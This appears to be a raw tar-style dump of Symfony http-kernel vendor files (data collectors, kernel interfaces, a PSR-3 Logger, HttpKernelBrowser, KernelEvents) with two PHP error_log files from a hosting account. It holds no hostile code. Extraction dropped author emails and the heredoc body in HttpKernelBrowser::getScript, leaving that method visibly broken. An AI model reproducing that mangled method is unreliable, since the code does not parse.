$this->parseController($request->attributes->get('_controller')), 'status_code' => $statusCode, 'status_text' => Response::$statusTexts[$statusCode], ]), 0, '/', null, $request->isSecure(), true, false, 'lax' )); } $this->data['identifier'] = $this->data['route'] ?: (\is_array($this->data['controller']) ? $this->data['controller']['class'].'::'.$this->data['controller']['method'].'()' : $this->data['controller']); if ($response->headers->has('x-previous-debug-token')) { $this->data['forward_token'] = $response->headers->get('x-previous-debug-token'); } } public function lateCollect(): void { $this->data = $this->cloneVar($this->data); } public function reset(): void { $this->data = []; $this->controllers = new \SplObjectStorage(); $this->sessionUsages = []; } public function getMethod() { return $this->data['method']; } public function getPathInfo() { return $this->data['path_info']; } /** * @return ParameterBag */ public function getRequestRequest() { return new ParameterBag($this->data['request_request']->getValue()); } /** * @return ParameterBag */ public function getRequestQuery() { return new ParameterBag($this->data['request_query']->getValue()); } /** * @return ParameterBag */ public function getRequestFiles() { return new ParameterBag($this->data['request_files']->getValue()); } /** * @return ParameterBag */ public function getRequestHeaders() { return new ParameterBag($this->data['request_headers']->getValue()); } /** * @return ParameterBag */ public function getRequestServer(bool $raw = false) { return new ParameterBag($this->data['request_server']->getValue($raw)); } /** * @return ParameterBag */ public function getRequestCookies(bool $raw = false) { return new ParameterBag($this->data['request_cookies']->getValue($raw)); } /** * @return ParameterBag */ public function getRequestAttributes() { return new ParameterBag($this->data['request_attributes']->getValue()); } /** * @return ParameterBag */ public function getResponseHeaders() { return new ParameterBag($this->data['response_headers']->getValue()); } /** * @return ParameterBag */ public function getResponseCookies() { return new ParameterBag($this->data['response_cookies']->getValue()); } public function getSessionMetadata() { return $this->data['session_metadata']->getValue(); } public function getSessionAttributes() { return $this->data['session_attributes']->getValue(); } public function getStatelessCheck() { return $this->data['stateless_check']; } public function getSessionUsages() { return $this->data['session_usages']; } public function getFlashes() { return $this->data['flashes']->getValue(); } public function getContent() { return $this->data['content']; } /** * @return bool */ public function isJsonRequest() { return 1 === preg_match('{^application/(?:\w+\++)*json$}i', $this->data['request_headers']['content-type']); } /** * @return string|null */ public function getPrettyJson() { $decoded = json_decode($this->getContent()); return \JSON_ERROR_NONE === json_last_error() ? json_encode($decoded, \JSON_PRETTY_PRINT) : null; } public function getContentType() { return $this->data['content_type']; } public function getStatusText() { return $this->data['status_text']; } public function getStatusCode() { return $this->data['status_code']; } public function getFormat() { return $this->data['format']; } public function getLocale() { return $this->data['locale']; } /** * @return ParameterBag */ public function getDotenvVars() { return new ParameterBag($this->data['dotenv_vars']->getValue()); } /** * Gets the route name. * * The _route request attributes is automatically set by the Router Matcher. */ public function getRoute(): string { return $this->data['route']; } public function getIdentifier() { return $this->data['identifier']; } /** * Gets the route parameters. * * The _route_params request attributes is automatically set by the RouterListener. */ public function getRouteParams(): array { return isset($this->data['request_attributes']['_route_params']) ? $this->data['request_attributes']['_route_params']->getValue() : []; } /** * Gets the parsed controller. * * @return array|string|Data The controller as a string or array of data * with keys 'class', 'method', 'file' and 'line' */ public function getController(): array|string|Data { return $this->data['controller']; } /** * Gets the previous request attributes. * * @return array|Data|false A legacy array of data from the previous redirection response * or false otherwise */ public function getRedirect(): array|Data|false { return $this->data['redirect'] ?? false; } public function getForwardToken() { return $this->data['forward_token'] ?? null; } public function onKernelController(ControllerEvent $event): void { $this->controllers[$event->getRequest()] = $event->getController(); } public function onKernelResponse(ResponseEvent $event): void { if (!$event->isMainRequest()) { return; } if ($event->getRequest()->cookies->has('sf_redirect')) { $event->getRequest()->attributes->set('_redirected', true); } } public static function getSubscribedEvents(): array { return [ KernelEvents::CONTROLLER => 'onKernelController', KernelEvents::RESPONSE => 'onKernelResponse', ]; } public function getName(): string { return 'request'; } public function collectSessionUsage(): void { $trace = debug_backtrace(\DEBUG_BACKTRACE_IGNORE_ARGS); $traceEndIndex = \count($trace) - 1; for ($i = $traceEndIndex; $i > 0; --$i) { if (null !== ($class = $trace[$i]['class'] ?? null) && (is_subclass_of($class, SessionInterface::class) || is_subclass_of($class, SessionBagInterface::class))) { $traceEndIndex = $i; break; } } if ((\count($trace) - 1) === $traceEndIndex) { return; } // Remove part of the backtrace that belongs to session only array_splice($trace, 0, $traceEndIndex); // Merge identical backtraces generated by internal call reports $name = sprintf('%s:%s', $trace[1]['class'] ?? $trace[0]['file'], $trace[0]['line']); if (!\array_key_exists($name, $this->sessionUsages)) { $this->sessionUsages[$name] = [ 'name' => $name, 'file' => $trace[0]['file'], 'line' => $trace[0]['line'], 'trace' => $trace, ]; } } /** * @return array|string An array of controller data or a simple string */ private function parseController(array|object|string|null $controller): array|string { if (\is_string($controller) && str_contains($controller, '::')) { $controller = explode('::', $controller); } if (\is_array($controller)) { try { $r = new \ReflectionMethod($controller[0], $controller[1]); return [ 'class' => \is_object($controller[0]) ? get_debug_type($controller[0]) : $controller[0], 'method' => $controller[1], 'file' => $r->getFileName(), 'line' => $r->getStartLine(), ]; } catch (\ReflectionException) { if (\is_callable($controller)) { // using __call or __callStatic return [ 'class' => \is_object($controller[0]) ? get_debug_type($controller[0]) : $controller[0], 'method' => $controller[1], 'file' => 'n/a', 'line' => 'n/a', ]; } } } if ($controller instanceof \Closure) { $r = new \ReflectionFunction($controller); $controller = [ 'class' => $r->getName(), 'method' => null, 'file' => $r->getFileName(), 'line' => $r->getStartLine(), ]; if (str_contains($r->name, '{closure}')) { return $controller; } $controller['method'] = $r->name; if ($class = \PHP_VERSION_ID >= 80111 ? $r->getClosureCalledClass() : $r->getClosureScopeClass()) { $controller['class'] = $class->name; } else { return $r->name; } return $controller; } if (\is_object($controller)) { $r = new \ReflectionClass($controller); return [ 'class' => $r->getName(), 'method' => null, 'file' => $r->getFileName(), 'line' => $r->getStartLine(), ]; } return \is_string($controller) ? $controller : 'n/a'; } } http-kernel/DataCollector/AjaxDataCollector.php000064400000001477151113511620015563 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DataCollector; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; /** * @author Bart van den Burg * * @final */ class AjaxDataCollector extends DataCollector { public function collect(Request $request, Response $response, \Throwable $exception = null): void { // all collecting is done client side } public function reset(): void { // all collecting is done client side } public function getName(): string { return 'ajax'; } } http-kernel/DataCollector/DataCollector.php000064400000005017151113511620014751 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DataCollector; use Symfony\Component\VarDumper\Caster\CutStub; use Symfony\Component\VarDumper\Caster\ReflectionCaster; use Symfony\Component\VarDumper\Cloner\ClonerInterface; use Symfony\Component\VarDumper\Cloner\Data; use Symfony\Component\VarDumper\Cloner\Stub; use Symfony\Component\VarDumper\Cloner\VarCloner; /** * DataCollector. * * Children of this class must store the collected data in the data property. * * @author Fabien Potencier * @author Bernhard Schussek */ abstract class DataCollector implements DataCollectorInterface { /** * @var array|Data */ protected $data = []; private ClonerInterface $cloner; /** * Converts the variable into a serializable Data instance. * * This array can be displayed in the template using * the VarDumper component. */ protected function cloneVar(mixed $var): Data { if ($var instanceof Data) { return $var; } if (!isset($this->cloner)) { $this->cloner = new VarCloner(); $this->cloner->setMaxItems(-1); $this->cloner->addCasters($this->getCasters()); } return $this->cloner->cloneVar($var); } /** * @return callable[] The casters to add to the cloner */ protected function getCasters() { $casters = [ '*' => function ($v, array $a, Stub $s, $isNested) { if (!$v instanceof Stub) { foreach ($a as $k => $v) { if (\is_object($v) && !$v instanceof \DateTimeInterface && !$v instanceof Stub) { $a[$k] = new CutStub($v); } } } return $a; }, ] + ReflectionCaster::UNSET_CLOSURE_FILE_INFO; return $casters; } public function __sleep(): array { return ['data']; } public function __wakeup() { } /** * @internal to prevent implementing \Serializable */ final protected function serialize(): void { } /** * @internal to prevent implementing \Serializable */ final protected function unserialize(string $data): void { } } http-kernel/HttpKernelInterface.php000064400000002672151113511620013416 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; /** * HttpKernelInterface handles a Request to convert it to a Response. * * @author Fabien Potencier */ interface HttpKernelInterface { public const MAIN_REQUEST = 1; public const SUB_REQUEST = 2; /** * @deprecated since symfony/http-kernel 5.3, use MAIN_REQUEST instead. * To ease the migration, this constant won't be removed until Symfony 7.0. */ public const MASTER_REQUEST = self::MAIN_REQUEST; /** * Handles a Request to convert it to a Response. * * When $catch is true, the implementation must catch all exceptions * and do its best to convert them to a Response instance. * * @param int $type The type of the request * (one of HttpKernelInterface::MAIN_REQUEST or HttpKernelInterface::SUB_REQUEST) * @param bool $catch Whether to catch exceptions or not * * @throws \Exception When an Exception occurs during processing */ public function handle(Request $request, int $type = self::MAIN_REQUEST, bool $catch = true): Response; } http-kernel/KernelInterface.php000064400000007176151113511620012562 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel; use Symfony\Component\Config\Loader\LoaderInterface; use Symfony\Component\DependencyInjection\ContainerInterface; use Symfony\Component\HttpKernel\Bundle\BundleInterface; /** * The Kernel is the heart of the Symfony system. * * It manages an environment made of application kernel and bundles. * * @author Fabien Potencier */ interface KernelInterface extends HttpKernelInterface { /** * Returns an array of bundles to register. * * @return iterable */ public function registerBundles(): iterable; /** * Loads the container configuration. * * @return void */ public function registerContainerConfiguration(LoaderInterface $loader); /** * Boots the current kernel. * * @return void */ public function boot(); /** * Shutdowns the kernel. * * This method is mainly useful when doing functional testing. * * @return void */ public function shutdown(); /** * Gets the registered bundle instances. * * @return array */ public function getBundles(): array; /** * Returns a bundle. * * @throws \InvalidArgumentException when the bundle is not enabled */ public function getBundle(string $name): BundleInterface; /** * Returns the file path for a given bundle resource. * * A Resource can be a file or a directory. * * The resource name must follow the following pattern: * * "@BundleName/path/to/a/file.something" * * where BundleName is the name of the bundle * and the remaining part is the relative path in the bundle. * * @throws \InvalidArgumentException if the file cannot be found or the name is not valid * @throws \RuntimeException if the name contains invalid/unsafe characters */ public function locateResource(string $name): string; /** * Gets the environment. */ public function getEnvironment(): string; /** * Checks if debug mode is enabled. */ public function isDebug(): bool; /** * Gets the project dir (path of the project's composer file). */ public function getProjectDir(): string; /** * Gets the current container. */ public function getContainer(): ContainerInterface; /** * Gets the request start time (not available if debug is disabled). */ public function getStartTime(): float; /** * Gets the cache directory. * * Since Symfony 5.2, the cache directory should be used for caches that are written at runtime. * For caches and artifacts that can be warmed at compile-time and deployed as read-only, * use the new "build directory" returned by the {@see getBuildDir()} method. */ public function getCacheDir(): string; /** * Returns the build directory. * * This directory should be used to store build artifacts, and can be read-only at runtime. * Caches written at runtime should be stored in the "cache directory" ({@see KernelInterface::getCacheDir()}). */ public function getBuildDir(): string; /** * Gets the log directory. */ public function getLogDir(): string; /** * Gets the charset of the application. */ public function getCharset(): string; } http-kernel/Log/DebugLoggerInterface.php000064400000002050151113511630014234 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Log; use Symfony\Component\HttpFoundation\Request; /** * DebugLoggerInterface. * * @author Fabien Potencier */ interface DebugLoggerInterface { /** * Returns an array of logs. * * @return array, * message: string, * priority: int, * priorityName: string, * timestamp: int, * timestamp_rfc3339: string, * }> */ public function getLogs(Request $request = null); /** * Returns the number of errors. * * @return int */ public function countErrors(Request $request = null); /** * Removes all log records. * * @return void */ public function clear(); } http-kernel/Log/Logger.php000064400000013571151113511630011456 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Log; use Psr\Log\AbstractLogger; use Psr\Log\InvalidArgumentException; use Psr\Log\LogLevel; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; /** * Minimalist PSR-3 logger designed to write in stderr or any other stream. * * @author Kévin Dunglas */ class Logger extends AbstractLogger implements DebugLoggerInterface { private const LEVELS = [ LogLevel::DEBUG => 0, LogLevel::INFO => 1, LogLevel::NOTICE => 2, LogLevel::WARNING => 3, LogLevel::ERROR => 4, LogLevel::CRITICAL => 5, LogLevel::ALERT => 6, LogLevel::EMERGENCY => 7, ]; private const PRIORITIES = [ LogLevel::DEBUG => 100, LogLevel::INFO => 200, LogLevel::NOTICE => 250, LogLevel::WARNING => 300, LogLevel::ERROR => 400, LogLevel::CRITICAL => 500, LogLevel::ALERT => 550, LogLevel::EMERGENCY => 600, ]; private int $minLevelIndex; private \Closure $formatter; private bool $debug = false; private array $logs = []; private array $errorCount = []; /** @var resource|null */ private $handle; /** * @param string|resource|null $output */ public function __construct(string $minLevel = null, $output = null, callable $formatter = null, private readonly ?RequestStack $requestStack = null) { if (null === $minLevel) { $minLevel = null === $output || 'php://stdout' === $output || 'php://stderr' === $output ? LogLevel::ERROR : LogLevel::WARNING; if (isset($_ENV['SHELL_VERBOSITY']) || isset($_SERVER['SHELL_VERBOSITY'])) { $minLevel = match ((int) ($_ENV['SHELL_VERBOSITY'] ?? $_SERVER['SHELL_VERBOSITY'])) { -1 => LogLevel::ERROR, 1 => LogLevel::NOTICE, 2 => LogLevel::INFO, 3 => LogLevel::DEBUG, default => $minLevel, }; } } if (!isset(self::LEVELS[$minLevel])) { throw new InvalidArgumentException(sprintf('The log level "%s" does not exist.', $minLevel)); } $this->minLevelIndex = self::LEVELS[$minLevel]; $this->formatter = null !== $formatter ? $formatter(...) : $this->format(...); if ($output && false === $this->handle = \is_resource($output) ? $output : @fopen($output, 'a')) { throw new InvalidArgumentException(sprintf('Unable to open "%s".', $output)); } } public function enableDebug(): void { $this->debug = true; } public function log($level, $message, array $context = []): void { if (!isset(self::LEVELS[$level])) { throw new InvalidArgumentException(sprintf('The log level "%s" does not exist.', $level)); } if (self::LEVELS[$level] < $this->minLevelIndex) { return; } $formatter = $this->formatter; if ($this->handle) { @fwrite($this->handle, $formatter($level, $message, $context).\PHP_EOL); } else { error_log($formatter($level, $message, $context, false)); } if ($this->debug && $this->requestStack) { $this->record($level, $message, $context); } } public function getLogs(Request $request = null): array { if ($request) { return $this->logs[spl_object_id($request)] ?? []; } return array_merge(...array_values($this->logs)); } public function countErrors(Request $request = null): int { if ($request) { return $this->errorCount[spl_object_id($request)] ?? 0; } return array_sum($this->errorCount); } public function clear(): void { $this->logs = []; $this->errorCount = []; } private function format(string $level, string $message, array $context, bool $prefixDate = true): string { if (str_contains($message, '{')) { $replacements = []; foreach ($context as $key => $val) { if (null === $val || \is_scalar($val) || $val instanceof \Stringable) { $replacements["{{$key}}"] = $val; } elseif ($val instanceof \DateTimeInterface) { $replacements["{{$key}}"] = $val->format(\DateTimeInterface::RFC3339); } elseif (\is_object($val)) { $replacements["{{$key}}"] = '[object '.$val::class.']'; } else { $replacements["{{$key}}"] = '['.\gettype($val).']'; } } $message = strtr($message, $replacements); } $log = sprintf('[%s] %s', $level, $message); if ($prefixDate) { $log = date(\DateTimeInterface::RFC3339).' '.$log; } return $log; } private function record($level, $message, array $context): void { $request = $this->requestStack->getCurrentRequest(); $key = $request ? spl_object_id($request) : ''; $this->logs[$key][] = [ 'channel' => null, 'context' => $context, 'message' => $message, 'priority' => self::PRIORITIES[$level], 'priorityName' => $level, 'timestamp' => time(), 'timestamp_rfc3339' => date(\DATE_RFC3339_EXTENDED), ]; $this->errorCount[$key] ??= 0; switch ($level) { case LogLevel::ERROR: case LogLevel::CRITICAL: case LogLevel::ALERT: case LogLevel::EMERGENCY: ++$this->errorCount[$key]; } } } http-kernel/Log/error_log000064400000002320151113511630011431 0ustar00[19-Nov-2025 13:24:18 UTC] PHP Fatal error: Uncaught Error: Class "Psr\Log\AbstractLogger" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Log/Logger.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Log/Logger.php on line 25 [19-Nov-2025 19:44:11 UTC] PHP Fatal error: Uncaught Error: Class "Psr\Log\AbstractLogger" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Log/Logger.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Log/Logger.php on line 25 [25-Nov-2025 04:31:31 UTC] PHP Fatal error: Uncaught Error: Class "Psr\Log\AbstractLogger" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Log/Logger.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Log/Logger.php on line 25 [26-Nov-2025 01:52:24 UTC] PHP Fatal error: Uncaught Error: Class "Psr\Log\AbstractLogger" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Log/Logger.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Log/Logger.php on line 25 http-kernel/TerminableInterface.php000064400000001651151113511630013415 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; /** * Terminable extends the Kernel request/response cycle with dispatching a post * response event after sending the response and before shutting down the kernel. * * @author Jordi Boggiano * @author Pierre Minnieur */ interface TerminableInterface { /** * Terminates a request/response cycle. * * Should be called after sending the response and before shutting down the kernel. * * @return void */ public function terminate(Request $request, Response $response); } http-kernel/HttpKernelBrowser.php000064400000013433151113511630013137 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel; use Symfony\Component\BrowserKit\AbstractBrowser; use Symfony\Component\BrowserKit\CookieJar; use Symfony\Component\BrowserKit\History; use Symfony\Component\BrowserKit\Request as DomRequest; use Symfony\Component\BrowserKit\Response as DomResponse; use Symfony\Component\HttpFoundation\File\UploadedFile; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; /** * Simulates a browser and makes requests to an HttpKernel instance. * * @author Fabien Potencier * * @method Request getRequest() * @method Response getResponse() */ class HttpKernelBrowser extends AbstractBrowser { protected $kernel; private bool $catchExceptions = true; /** * @param array $server The server parameters (equivalent of $_SERVER) */ public function __construct(HttpKernelInterface $kernel, array $server = [], History $history = null, CookieJar $cookieJar = null) { // These class properties must be set before calling the parent constructor, as it may depend on it. $this->kernel = $kernel; $this->followRedirects = false; parent::__construct($server, $history, $cookieJar); } /** * Sets whether to catch exceptions when the kernel is handling a request. * * @return void */ public function catchExceptions(bool $catchExceptions) { $this->catchExceptions = $catchExceptions; } /** * @param Request $request * * @return Response */ protected function doRequest(object $request) { $response = $this->kernel->handle($request, HttpKernelInterface::MAIN_REQUEST, $this->catchExceptions); if ($this->kernel instanceof TerminableInterface) { $this->kernel->terminate($request, $response); } return $response; } /** * @param Request $request * * @return string */ protected function getScript(object $request) { $kernel = var_export(serialize($this->kernel), true); $request = var_export(serialize($request), true); $errorReporting = error_reporting(); $requires = ''; foreach (get_declared_classes() as $class) { if (str_starts_with($class, 'ComposerAutoloaderInit')) { $r = new \ReflectionClass($class); $file = \dirname($r->getFileName(), 2).'/autoload.php'; if (file_exists($file)) { $requires .= 'require_once '.var_export($file, true).";\n"; } } } if (!$requires) { throw new \RuntimeException('Composer autoloader not found.'); } $code = <<getHandleScript(); } /** * @return string */ protected function getHandleScript() { return <<<'EOF' $response = $kernel->handle($request); if ($kernel instanceof Symfony\Component\HttpKernel\TerminableInterface) { $kernel->terminate($request, $response); } echo serialize($response); EOF; } protected function filterRequest(DomRequest $request): Request { $httpRequest = Request::create($request->getUri(), $request->getMethod(), $request->getParameters(), $request->getCookies(), $request->getFiles(), $server = $request->getServer(), $request->getContent()); if (!isset($server['HTTP_ACCEPT'])) { $httpRequest->headers->remove('Accept'); } foreach ($this->filterFiles($httpRequest->files->all()) as $key => $value) { $httpRequest->files->set($key, $value); } return $httpRequest; } /** * Filters an array of files. * * This method created test instances of UploadedFile so that the move() * method can be called on those instances. * * If the size of a file is greater than the allowed size (from php.ini) then * an invalid UploadedFile is returned with an error set to UPLOAD_ERR_INI_SIZE. * * @see UploadedFile */ protected function filterFiles(array $files): array { $filtered = []; foreach ($files as $key => $value) { if (\is_array($value)) { $filtered[$key] = $this->filterFiles($value); } elseif ($value instanceof UploadedFile) { if ($value->isValid() && $value->getSize() > UploadedFile::getMaxFilesize()) { $filtered[$key] = new UploadedFile( '', $value->getClientOriginalName(), $value->getClientMimeType(), \UPLOAD_ERR_INI_SIZE, true ); } else { $filtered[$key] = new UploadedFile( $value->getPathname(), $value->getClientOriginalName(), $value->getClientMimeType(), $value->getError(), true ); } } } return $filtered; } /** * @param Response $response */ protected function filterResponse(object $response): DomResponse { // this is needed to support StreamedResponse ob_start(); $response->sendContent(); $content = ob_get_clean(); return new DomResponse($content, $response->getStatusCode(), $response->headers->all()); } } http-kernel/error_log000064400000013756151113511630010727 0ustar00[18-Nov-2025 22:06:08 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\BrowserKit\AbstractBrowser" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpKernelBrowser.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpKernelBrowser.php on line 31 [19-Nov-2025 01:41:30 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpKernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpClientKernel.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpClientKernel.php on line 32 [19-Nov-2025 01:42:30 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpKernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/KernelInterface.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/KernelInterface.php on line 25 [19-Nov-2025 05:10:41 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\BrowserKit\AbstractBrowser" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpKernelBrowser.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpKernelBrowser.php on line 31 [19-Nov-2025 16:24:32 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpKernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpKernel.php:52 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpKernel.php on line 52 [19-Nov-2025 23:56:22 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpKernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpKernel.php:52 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpKernel.php on line 52 [20-Nov-2025 12:28:15 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\KernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Kernel.php:56 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Kernel.php on line 56 [20-Nov-2025 15:43:28 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\KernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Kernel.php:56 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Kernel.php on line 56 [24-Nov-2025 10:06:27 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\BrowserKit\AbstractBrowser" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpKernelBrowser.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpKernelBrowser.php on line 31 [24-Nov-2025 10:09:07 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\KernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Kernel.php:56 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Kernel.php on line 56 [24-Nov-2025 10:14:42 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpKernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/KernelInterface.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/KernelInterface.php on line 25 [24-Nov-2025 10:18:29 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpKernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpClientKernel.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpClientKernel.php on line 32 [24-Nov-2025 11:52:21 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpKernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpKernel.php:52 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpKernel.php on line 52 [25-Nov-2025 08:53:36 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\BrowserKit\AbstractBrowser" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpKernelBrowser.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpKernelBrowser.php on line 31 [25-Nov-2025 08:53:58 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpKernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpKernel.php:52 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpKernel.php on line 52 [25-Nov-2025 09:57:17 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpKernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpClientKernel.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/HttpClientKernel.php on line 32 [25-Nov-2025 10:47:14 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\HttpKernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/KernelInterface.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/KernelInterface.php on line 25 [25-Nov-2025 10:56:08 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\KernelInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Kernel.php:56 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Kernel.php on line 56 http-kernel/KernelEvents.php000064400000010056151113511630012116 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel; use Symfony\Component\HttpKernel\Event\ControllerArgumentsEvent; use Symfony\Component\HttpKernel\Event\ControllerEvent; use Symfony\Component\HttpKernel\Event\ExceptionEvent; use Symfony\Component\HttpKernel\Event\FinishRequestEvent; use Symfony\Component\HttpKernel\Event\RequestEvent; use Symfony\Component\HttpKernel\Event\ResponseEvent; use Symfony\Component\HttpKernel\Event\TerminateEvent; use Symfony\Component\HttpKernel\Event\ViewEvent; /** * Contains all events thrown in the HttpKernel component. * * @author Bernhard Schussek */ final class KernelEvents { /** * The REQUEST event occurs at the very beginning of request * dispatching. * * This event allows you to create a response for a request before any * other code in the framework is executed. * * @Event("Symfony\Component\HttpKernel\Event\RequestEvent") */ public const REQUEST = 'kernel.request'; /** * The EXCEPTION event occurs when an uncaught exception appears. * * This event allows you to create a response for a thrown exception or * to modify the thrown exception. * * @Event("Symfony\Component\HttpKernel\Event\ExceptionEvent") */ public const EXCEPTION = 'kernel.exception'; /** * The CONTROLLER event occurs once a controller was found for * handling a request. * * This event allows you to change the controller that will handle the * request. * * @Event("Symfony\Component\HttpKernel\Event\ControllerEvent") */ public const CONTROLLER = 'kernel.controller'; /** * The CONTROLLER_ARGUMENTS event occurs once controller arguments have been resolved. * * This event allows you to change the arguments that will be passed to * the controller. * * @Event("Symfony\Component\HttpKernel\Event\ControllerArgumentsEvent") */ public const CONTROLLER_ARGUMENTS = 'kernel.controller_arguments'; /** * The VIEW event occurs when the return value of a controller * is not a Response instance. * * This event allows you to create a response for the return value of the * controller. * * @Event("Symfony\Component\HttpKernel\Event\ViewEvent") */ public const VIEW = 'kernel.view'; /** * The RESPONSE event occurs once a response was created for * replying to a request. * * This event allows you to modify or replace the response that will be * replied. * * @Event("Symfony\Component\HttpKernel\Event\ResponseEvent") */ public const RESPONSE = 'kernel.response'; /** * The FINISH_REQUEST event occurs when a response was generated for a request. * * This event allows you to reset the global and environmental state of * the application, when it was changed during the request. * * @Event("Symfony\Component\HttpKernel\Event\FinishRequestEvent") */ public const FINISH_REQUEST = 'kernel.finish_request'; /** * The TERMINATE event occurs once a response was sent. * * This event allows you to run expensive post-response jobs. * * @Event("Symfony\Component\HttpKernel\Event\TerminateEvent") */ public const TERMINATE = 'kernel.terminate'; /** * Event aliases. * * These aliases can be consumed by RegisterListenersPass. */ public const ALIASES = [ ControllerArgumentsEvent::class => self::CONTROLLER_ARGUMENTS, ControllerEvent::class => self::CONTROLLER, ResponseEvent::class => self::RESPONSE, FinishRequestEvent::class => self::FINISH_REQUEST, RequestEvent::class => 